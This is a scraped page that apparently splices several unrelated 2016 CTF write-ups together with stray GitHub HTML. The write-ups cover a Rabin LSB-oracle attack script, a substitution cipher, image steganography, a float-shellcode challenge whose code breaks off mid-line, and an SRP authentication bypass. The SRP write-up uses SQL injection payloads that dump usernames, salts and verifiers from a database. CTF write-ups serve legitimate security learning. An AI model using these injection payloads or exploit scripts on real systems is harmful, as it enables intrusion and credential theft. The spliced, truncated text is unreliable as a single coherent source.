<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## Rabit (Crypto, 175 points, 71 solves)
Just give me a bit, the least significant's enough. Just a second we’re not broken, just very, very insecure. Running at rabit.pwning.xxx:7763
###ENG[PL](#pl-version)
We get the [server files](server) so we can analyse the cryptosystem.It turns out that the flag is encrypted with Rabin cryptosystem so if encodes the data as `message^2 mod N`.The server provides us with the `N` modulus value and with the encrypted flag `CT`.We would like to get the value of `PT = sqrt_mod(CT, N)`The server lets us to ask for the least-significant-bit (LSB) of selected decrypted ciphertexts of our choosing.This means that the server acts a `least significant bit oracle` and we need to use this to our advantage.
If we send the encrypted flag as input the server will tell us the lowest bit for the plaintext flag, now we just need all the rest.We can exploit this oracle using a binary-search algorithm.
It is quite obvious that if we multiply a number by 2 it will become an even number.This means that the LSB will have to be 0 as it's always for even numbers.Now if we perform a modular division by an odd number we can get two possible results:
- The number was smaller than the modulus and therefore it is still even and the LSB is 0- The number was greater than the modulus and therefore it is now odd and the LSB is 1
The N modulus in our case is an odd number, since it's a product of two large primes.This means that if we ask the oracle for the LSB of `2*PT mod N` we will get one of the two possible results:
- If LSB is 0 then the number was smaller than modulus and therefore `2*PT < N` which means `PT < N/2`- If LSB is 1 then the number was greater than modulus and therefore `2*PT > N` which means `PT > N/2`
Now if we ask for LSB of `4*PT mod N` we can again get one of two possible results
- If LSB is 0 then either `4*PT < N` which means `PT < N/4` if `PT < N/2` or `PT < 3*N/4` if `PT > N/2`- If LSB is 1 then either `4*PT > N` which means `PT > N/4` if `PT < N/2` or `PT > 3*N/4` if `PT > N/2`
This means that we can get lower and upper bounds for `PT` simply by asking for LSB for PT multiplied by powers of 2.This is exactly binary search algorithm - we are looking for the `PT` value and the oracle tells us if it's bigger or smaller than given number.
The server first performs decryption of our input, which means it performs a modular square root on it.So if we want the server to tell us LSB of `2*PT mod N` we need to provide `4*CT` as input since:
`sqrt_mod(4*CT, N) = sqrt_mod(4,N)*sqrt_mod(CT,N) = 2*PT mod N`
We automate it with a simple script:
```pythondef oracle(ciphertext, s): print("sent ciphertext " + str(ciphertext)) s.sendall(str(ciphertext) + "\n") data = recvline(s) print("oracle response: " + data) lsb = int(re.findall("lsb is (.*)", data)[0]) return lsb
def brute_flag(encrypted_flag, N, socket): flag_lower_bound = 0 flag_upper_bound = N mult = 0 ciphertext = (encrypted_flag * pow(4, mult)) % N while flag_upper_bound > flag_lower_bound: data = s.recv(512) ciphertext = (ciphertext * 4) % N mult += 1 print("main loop: " + data) print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("multiplier = %d" % mult) if oracle(ciphertext, socket) == 0: flag_upper_bound = (flag_upper_bound + flag_lower_bound) / 2 else: flag_lower_bound = (flag_upper_bound + flag_lower_bound) / 2 return flag_upper_bound```
The script updates the upper and lower bounds for the `PT` value depending on server responses.This way we finally get:
```main loop: Give a ciphertext: upper = 220166400929873038171224043083387335590015857856801737690673880396419795615547577312678070179481369128029264724566861040868992922377738134245284720456363270069895363821431128690061826490011022637831305626391095236981088399616123236780868219333517868946867381881069203811100413120301449973114417385114578488upper flag = PCTF{LSB_is_4ll_y0u_ne3d}�MT?�Ҵņ�|?O�a�?.G?ȵ�j~R���Rڟ��NL�����o��Z�l���?�)�A�?8{����Mm�Q1fܛ�H�[���"7���r??ɭEi�h9��f�.8lower = 220166400929873038171224043083387335590015857856801737690673855617979183125104747088116187584366205351152315709323988324491729476435566167017734911926070078152771437195128495335458854458923475782666648931612841151096923643810580803048301608534266786867097762790952153653675570921913681095277174947521916134lower flag = PCTF{LSB_is_4ll_y0u_ne3d}��P6??�X�����?ꕎ81?���?e�3�~��ę�?��4$Pz9��� ���0en"��̥�o�cȢ��?�.*z��?n�Ƨ>?6�o�?��?#���?)G�??jl�multiplier = 212sent ciphertext 50250755854349060273600748058347492460054410259628835643065315292422667886974689433086807089032905814811219345716171958732300878077805295946155889286309957357352555060432038801287412773647082525563214208397848831588353216532718958889969188087964218777646467718967423926109023022887010446083219487280951409895oracle response: lsb is 0```
At which point we can stop since we don't really need the rest 800 bits of padding and the flag is: `PCTF{LSB_is_4ll_y0u_ne3d}`
###PL version
Dostajemy [pliki serwera](server) więc możemy rozpocząc od analizy kryptosystemu.Okazuje się, że flaga jest szyfrowana kryptosystemem Rabina, czyli szyfruje się poprzez `message^2 mod N`.Serwer podaje nam wartość modulusa `N` oraz wartość zaszyfrowanej flagi `CT`.Chcemy uzyskać wartość `PT = sqrt_mod(CT, N)`Serwer pozwala nam pytać o wartość najniższego bitu plaintextu dla wybranych przez nas ciphertextów.To oznacza że serwer działa jako `wyroczna najniższego bitu` a my mamy to wykorzystać.
Jeśli wyślemy zaszyfrowaną flagę jako dane do serwera, serwer powie nam jaki jest najniższy bit odszyfrownej flagi, a teraz potrzebujemy tylko pozostałe bity.Możemy exploitować wyrocznie za pomocą algorytmu poszukiwania binarnego.
Jest dość oczywistym, że liczba pomnożona przez 2 będzie zawsze liczbą przystą.To oznacza że LSB będzie zawsze 0.Teraz jeśli wykonamy dzielenie modulo przez liczbe nieparzystą to możemy uzyskać dwa wyniki:
- Liczba jest mniejsza niż modulus więc jest nadal parzysta i LSB jest 0- Liczba jest większa niż modulus więc jest teraz nieparzysta i LSB wynosi 1
Modulus N w naszym przypadku jest nieparzysty bo jest iloczynem dwóch dużych liczb pierwszych.To oznacza że możemy spytać wyrocznie o LSB dla `2*PT mod N` i dostaniemy jedną z dwóch możliwości:
- Jeśli LSB jest 0 to znaczy że liczba była mniejsza niż modulus więc `2*PT < N` z czego wynika `PT < N/2`- Jeśli LSB jest 1 to znaczy że liczba była większa niż modulus więc `2*PT > N` z czego wynika `PT > N/2`
Jeśli etraz zapytamy o LSB dla `4*PT mod N` znów możemy uzyskać dwie możliwości:
- Jeśli LSB jest 0 to albo `4*PT < N` z czego wynika `PT < N/4` jeśli `PT < N/2` lub `PT < 3*N/4` jeśli `PT > N/2`- Jeśli LSB jest 1 to albo `4*PT > N` z czego wynika `PT > N/4` jeśli `PT < N/2` lub `PT > 3*N/4` jeśli `PT > N/2`
To oznacza że możemy wyliczyć górne oraz dolne ograniczenie na `PT` pytając wyrocznie o LSB dla PT pomnożonego przez kolejne potęgi 2.To jest dokładnie wyszukiwanie binarne - szukamy liczby `PT` a wyrocznia mówi nam czy jest ona większa czy mniejsza od pewnej liczby.
Serwer wykonuje deszyfrowanie danych które wysyłamy, co oznacza że dokonuje na nich pierwiastkowania modularnego.Więc jeśli chcemy aby serwer podał nam LSB `2*PT mod N` to musimy podać jako dane `4*CT` ponieważ:
`sqrt_mod(4*CT, N) = sqrt_mod(4,N)*sqrt_mod(CT,N) = 2*PT mod N`
Automatyzujemy to prostym skryptem:
```pythondef oracle(ciphertext, s): print("sent ciphertext " + str(ciphertext)) s.sendall(str(ciphertext) + "\n") data = recvline(s) print("oracle response: " + data) lsb = int(re.findall("lsb is (.*)", data)[0]) return lsb
def brute_flag(encrypted_flag, N, socket): flag_lower_bound = 0 flag_upper_bound = N mult = 0 ciphertext = (encrypted_flag * pow(4, mult)) % N while flag_upper_bound > flag_lower_bound: data = s.recv(512) ciphertext = (ciphertext * 4) % N mult += 1 print("main loop: " + data) print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("multiplier = %d" % mult) if oracle(ciphertext, socket) == 0: flag_upper_bound = (flag_upper_bound + flag_lower_bound) / 2 else: flag_lower_bound = (flag_upper_bound + flag_lower_bound) / 2 return flag_upper_bound```
Skrypt aktualizuje górne oraz dolne ograniczenie dla `PT` w zależności od odpowiedzi serweraW efekcie dostajemy wreszcie:
```main loop: Give a ciphertext: upper = 220166400929873038171224043083387335590015857856801737690673880396419795615547577312678070179481369128029264724566861040868992922377738134245284720456363270069895363821431128690061826490011022637831305626391095236981088399616123236780868219333517868946867381881069203811100413120301449973114417385114578488upper flag = PCTF{LSB_is_4ll_y0u_ne3d}�MT?�Ҵņ�|?O�a�?.G?ȵ�j~R���Rڟ��NL�����o��Z�l���?�)�A�?8{����Mm�Q1fܛ�H�[���"7���r??ɭEi�h9��f�.8lower = 220166400929873038171224043083387335590015857856801737690673855617979183125104747088116187584366205351152315709323988324491729476435566167017734911926070078152771437195128495335458854458923475782666648931612841151096923643810580803048301608534266786867097762790952153653675570921913681095277174947521916134lower flag = PCTF{LSB_is_4ll_y0u_ne3d}��P6??�X�����?ꕎ81?���?e�3�~��ę�?��4$Pz9��� ���0en"��̥�o�cȢ��?�.*z��?n�Ƨ>?6�o�?��?#���?)G�??jl�multiplier = 212sent ciphertext 50250755854349060273600748058347492460054410259628835643065315292422667886974689433086807089032905814811219345716171958732300878077805295946155889286309957357352555060432038801287412773647082525563214208397848831588353216532718958889969188087964218777646467718967423926109023022887010446083219487280951409895oracle response: lsb is 0```
I możemy tutaj przerwać obliczenia ponieważ nie potrzebujmemy pozostałych 800 bitów paddingu a flaga to: `PCTF{LSB_is_4ll_y0u_ne3d}` |
<h1>angstromCTF 2016 - Artifact</h1>Category: Crypto Score: 20<h2>Description</h2>While exploring ancient ruins, a strange message was found. Can you crack the message?<h2>Solving the challenge</h2>Encrypted message:<span>"gxipzhx qs kpz ravv mbgp gxs jmgk pe lps:gxipzhx qs kpz ravv mbgp sgsibac ramb:gxipzhx qs aqpbh gxs rsprcs cpvg epi aks.fzvgmjs gxs epzbnsi pe qk eauimj qposn:gp isai qs lav gxs gavt pe rplsi nmombs,vzrisqsvg lmvnpq, abn rimqsoac cpos.usepis qs gxmbhv jisags lsis bpbs, vaos gxmbhvsgsibac, abn sgsibac m vxacc sbnzis.acc xprs auabnpb, ks lxp sbgsi xsis."
gxs ecah mv jcavvmjv_ais_aclakv_mb_vgkcs</span><span></span><span>Decrypted message:</span>"through me you pass into the city of woe:through me you pass into eternal pain: through me among the people lost for aye. justice the founder of my fabric moved: to rear me was the task of power divine, supremest wisdom, and primeval love. before me things create were none, save things eternal, and eternali shall endure. all hope abandon, ye who enter here.""
the flag is classics_are_always_in_style<span></span>Flag: classics_are_always_in_style<span></span> |
#plane_site
As the name of the problem suggests, the flag is hidden in one of the RGB planes of the image. In this instance it was hidden in the red plane. We can extract the flag using Mathematica:
```Binarize[ColorNegate[ColorSeparate[<image>][[1]]], 0]```
which yields:
![flag](https://github.com/TechSecCTF/writeups/blob/master/plaidctf2016/plane_site/plane_site_flag.png)
The flag is `{PCTF{3_many_s3cr3ts}`. |
# Floatpoint [Pwnable - 175]
## Challenge descriptionIEEE754 is useful when your values go from -inf to +inf, but really, fixed point is all you need. But if you want, you could grab this too. Running at fixedpoint.pwning.xxx:7777
## Challenge code```C#include <stdlib.h>#include <sys/mman.h>#include <stdio.h>
int main(int argc, char** argv) { float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); int i; int temp; float ftemp;
for (i = 0; i < 8192; i++) { if (!scanf("%d", &temp)) break; array[i] = ((float)temp)/1337.0; }
write(1, "here we go\n", 11); (*(void(*)())array)();}```
## SolutionIt's easy to see that we need to find numbers that their IEEE754 representation divided by 1337 produces valid shellcode. For those not familiar with IEEE754, it's basically a standard to represent float point numbers in computers.
In this chall I perceived that I could only control reliably the inner bytes of a 4byte value, so I needed to construct 2 bytes shellcode and 2 bytes NOP, in this format 0xNSSN (where N is nop and S is part of real shellcode).
```pythonimport structimport pwnlibimport time
def get_int(s): a = struct.unpack(' |
# Plaid CTF 2016: tonnerre
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| Plaid CTF | tonnerre | Crypto | 200 |
### Description> We were pretty sure the service at [tonnerre.pwning.xxx:8561 (source)](challenge) was totally secure. But then we came across this website and now we’re having second thoughts... We think they store the service users in the same database?
## Write-up
In this challenge we are faced with two services: one a network daemon which requires us to authenticate ourselves with some protocol the other a web service. The network daemon looks as follows:
```pythonfrom Crypto.Random import random, atforkfrom Crypto.Hash import SHA256
from database import import_permitted_users
import SocketServer,threading,os,time
msg = """Welcome to the Tonnerre Authentication System!\n"""flag = "REDACTED"
N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587Lg = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
permitted_users = {}
# This should import the fields from the data into the dictionary.# the dictionary is indexed by username, and the data it contains are tuples# of (salt, verifier) as numbers. note that the database stores these in hex.import_permitted_users(permitted_users)
def H(P): h = SHA256.new() h.update(P) return h.hexdigest()
def tostr(A): return hex(A)[2:].strip('L')
class incoming(SocketServer.BaseRequestHandler): def handle(self): atfork() req = self.request req.sendall(msg) username = req.recv(512)[:-1] if username not in permitted_users: req.sendall('Sorry, not permitted.\n') req.close() return public_client = int(req.recv(512).strip('\n'), 16) % N c = (public_client * permitted_users[username][1]) % N if c in [N-g, N-1, 0, 1, g]: req.sendall('Sorry, not permitted.\n') req.close() return random_server = random.randint(2, N-3) public_server = pow(g, random_server, N) residue = (public_server + permitted_users[username][1]) % N req.sendall(tostr(permitted_users[username][0]) + '\n') req.sendall(tostr(residue) + '\n')
session_secret = (public_client * permitted_users[username][1]) % N session_secret = pow(session_secret, random_server, N) session_key = H(tostr(session_secret))
proof = req.recv(512).strip('\n')
if (proof != H(tostr(residue) + session_key)): req.sendall('Sorry, not permitted.\n') req.close() return
our_verifier = H(tostr(public_client) + session_key) req.sendall(our_verifier + '\n')
req.sendall('Congratulations! The flag is ' + flag + '\n') req.close()
class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): pass
SocketServer.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(("0.0.0.0", 8561), incoming)server.timeout = 60server.serve_forever()```
So we send our username together with some sort of public client-side generated value which is then checked against a verifier after which we are supplied with the modular addition of a server-side generated value and this verifier together with the salt. The server generates a session key based on these values and we are supposed to as well if we know a certain secret.
We can identify this protocol as (a version of) the [Secure Remote Password (SRP) Protocol](https://en.wikipedia.org/wiki/Secure_Remote_Password_protocol). This [zero-knowledge protocol](https://en.wikipedia.org/wiki/Zero-knowledge_password_proof) allows users to authenticate to a server that does not know their secret password. In order to authenticate ourselves we will need to generate a session key that matches the one held by the server which is the result of:
![alt eq1](eq1.png)
A common attack on faulty implementations of the SRP is to 'fixate' the session secret by specifying an ephemeral client value eg. `public_client = 0` which effectively cancels out the contribution of the verifier to the secret since `0 * verifier = 0`. The server checks against this by blacklisting 'dangerous' session secrets however:
```pythonif c in [N-g, N-1, 0, 1, g]:```
So we will have to at least obtain the verifier. Lucky for us the web application shares a database with the SRP daemon and the webapp happens to be vulnerable to SQL injection. A simple `' OR 1=1 -- -` allows us to log in as admin but it shows the admin interface is disabled. So instead of logging in we will use the SQLi to dump the database:
```' OR 1=0 UNION SELECT (SELECT group_concat(user) FROM users) FROM users -- -get_flag
' OR 1=0 UNION SELECT (SELECT group_concat(salt) FROM users) FROM users -- -d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813
' OR 1=0 UNION SELECT (SELECT group_concat(verifier) FROM users) FROM users -- -ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59```
Even though we now have the username, salt and verifier we still cannot log in as we do not have the password. Remember, the protocol is zero-knowledge so we are not supposed to be able to derive knowledge about the password from the verifier. And even if we could, we have no knowledge about the derivation function (even though we could guess at standardized approaches) so that's not the right approach.
The right approach lies in realizing that once we have the verifier we have more options for session secret fixation, while the following secrets are blacklisted:
``` (A * verifier mod N) = 0 (A * verifier mod N) = 1 (A * verifier mod N) = g (A * verifier mod N) = (N-1) (A * verifier mod N) = (N-g)```
This one: `(A * verifier mod N) = g^2` is not. If we manage to choose a public client value `A` such that `(A * verifier mod N) = g^2` then we will have:
![alt eq2](eq2.png)
Since know the residue value and the verifier we can know calculate:
![alt eq3](eq3.png)
So how do we pick our public client value `A`?
![alt eq4](eq4.png)
And then [we tie it all together](solution/tonnerre_crack.py):
```python#!/usr/bin/env python## Plaid CTF 2016# tonnerre (CRYPTO/200)## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
from Crypto.Hash import SHA256
# GCD (times sign of b if b is nonzero, times sign of a if b is zero)def gcd(a,b): while b != 0: a,b = b, a % b return a
# Extended Greatest Common Divisordef egcd(a, b): if (a == 0): return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
# Modular multiplicative inversedef modInv(a, m): g, x, y = egcd(a, m) if (g != 1): raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) else: return x % m
def H(P): h = SHA256.new() h.update(P) return h.hexdigest()
def tostr(A): return hex(A)[2:].strip('L')
N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587Lg = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848Lverifier = long('ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59', 16)
public_client = (pow(g, 2) * modInv(verifier, N)) % N
assert (((public_client * verifier) % N) == pow(g, 2, N))
print "public_client> [%s]" % (tostr(public_client))
residue = raw_input('Residue?> ')residue_l = long(residue, 16)session_secret = pow(residue_l - verifier, 2, N)session_key = H(tostr(session_secret))print "proof> [%s]" % H(tostr(residue_l) + session_key)```
Which gives the output:
```bash$ ./tonnerre_crack.pypublic_client> [e2a218006a120b096d7836bf397e7dbb1a8f8f6cedb87c20fe3d4a2b99fc9f6661777bbe804b82e9c17a0ad2d508b97031d146934479076a4c11c199322e0dc9724d2cdac24480c6decae4e547f020273f3a2849f9d068cb8c774e029a747fc7c726a1bad2b9f9a7c091096002c364f018f2f1157ad492d42c00305d84f37db7]Residue?> 8fe8bfa5cd2685dc135225c61c6cc26090974acb16514b2205ca5d5f35e165a83a474ca19adaa08fde5fb93f3218a2a0f823a9c92e4ed7da612fe91b6c7f46fb1375bd7d18b36948ccfcc94ed9b9f288e62c07e3369eb763de4a506f87e3cc7086ed8e1a59f387398bfc01991f8938339a07319e66202346944648947b4a7830proof> [81020e0ec41cca8b0d38e8de7b114e86d803d691e90a8ea274541162403c0a40]
$ nc tonnerre.pwning.xxx 8561Welcome to the Tonnerre Authentication System!get_flage2a218006a120b096d7836bf397e7dbb1a8f8f6cedb87c20fe3d4a2b99fc9f6661777bbe804b82e9c17a0ad2d508b97031d146934479076a4c11c199322e0dc9724d2cdac24480c6decae4e547f020273f3a2849f9d068cb8c774e029a747fc7c726a1bad2b9f9a7c091096002c364f018f2f1157ad492d42c00305d84f37db7d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e818138fe8bfa5cd2685dc135225c61c6cc26090974acb16514b2205ca5d5f35e165a83a474ca19adaa08fde5fb93f3218a2a0f823a9c92e4ed7da612fe91b6c7f46fb1375bd7d18b36948ccfcc94ed9b9f288e62c07e3369eb763de4a506f87e3cc7086ed8e1a59f387398bfc01991f8938339a07319e66202346944648947b4a783081020e0ec41cca8b0d38e8de7b114e86d803d691e90a8ea274541162403c0a40eabf2dad54503aff1282c1cff2e6d9191dd2696ed7c515d0687b2dcbf18253f1Congratulations! The flag is PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}``` |
<html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-FG+rXqMOivrAjdEQE7tO4BwM1poGmg70hJFTlNSxjX87grtrZ6UnPR8NkzwUHlQEGviu9XuRYeO8zH9YwvZhdg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-146fab5ea30e8afac08dd11013bb4ee0.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-iXrV/b4ypc1nr10b3Giikqff+qAx5osQ0yJRxHRDd8mKFefdMtEZ0Sxs1QysJxuJBayOKThjsuMjynwBJQq0aw==" rel="stylesheet" href="https://github.githubassets.com/assets/site-897ad5fdbe32a5cd67af5d1bdc68a292.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-whtr9xYX7utnpWsNSLW7XLm7eJONfryMwfwxIH2SpIRKCZbx4aryDfn/HGMFI5Fee7dogmqmtqvPPh13+2HW2Q==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c21b6bf71617eeeb67a56b0d48b5bb5c.css" />
<meta name="viewport" content="width=device-width"> <title>write-ups-2016/README.md at pwn2win-ctf-2016 · epicleet/write-ups-2016 · GitHub</title> <meta name="description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528">
<meta name="twitter:image:src" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="epicleet/write-ups-2016" /><meta name="twitter:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" /> <meta property="og:image" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="epicleet/write-ups-2016" /><meta property="og:url" content="https://github.com/epicleet/write-ups-2016" /><meta property="og:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="EC40:227E2:27F2E9B:3A3572A:5E8A05A8" data-pjax-transient="true"/><meta name="html-safe-nonce" content="56ecd5ba60ea8611cec640da696afda065335947" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzQwOjIyN0UyOjI3RjJFOUI6M0EzNTcyQTo1RThBMDVBOCIsInZpc2l0b3JfaWQiOiIxNTYwNjI4NjUyNjE0NjI5NTIiLCJyZWdpb25fZWRnZSI6ImFtcyIsInJlZ2lvbl9yZW5kZXIiOiJhbXMifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="ceeb37e34319ac400a4658778ce9c6ebb355f9f628f7d0a265d58e88d8474030" data-pjax-transient="true"/>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-ga_id" content="" class="js-octo-ga-id" /><meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_FEATURED_BLOG_POSTS,MARKETPLACE_INVOICED_BILLING,MARKETPLACE_SOCIAL_PROOF_CUSTOMERS,MARKETPLACE_TRENDING_SOCIAL_PROOF,MARKETPLACE_RECOMMENDATIONS,MARKETPLACE_PENDING_INSTALLATIONS,RELATED_ISSUES">
<meta http-equiv="x-pjax-version" content="80ebc3286fe9d88acaddc1320106dfc2">
<link href="https://github.com/epicleet/write-ups-2016/commits/pwn2win-ctf-2016.atom" rel="alternate" title="Recent Commits to write-ups-2016:pwn2win-ctf-2016" type="application/atom+xml">
<meta name="go-import" content="github.com/epicleet/write-ups-2016 git https://github.com/epicleet/write-ups-2016.git">
<meta name="octolytics-dimension-user_id" content="18104388" /><meta name="octolytics-dimension-user_login" content="epicleet" /><meta name="octolytics-dimension-repository_id" content="54845624" /><meta name="octolytics-dimension-repository_nwo" content="epicleet/write-ups-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="true" /><meta name="octolytics-dimension-repository_parent_id" content="48103176" /><meta name="octolytics-dimension-repository_parent_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_network_root_id" content="48103176" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/Auswahlen-120/README.md" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive page-blob">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span> </span>
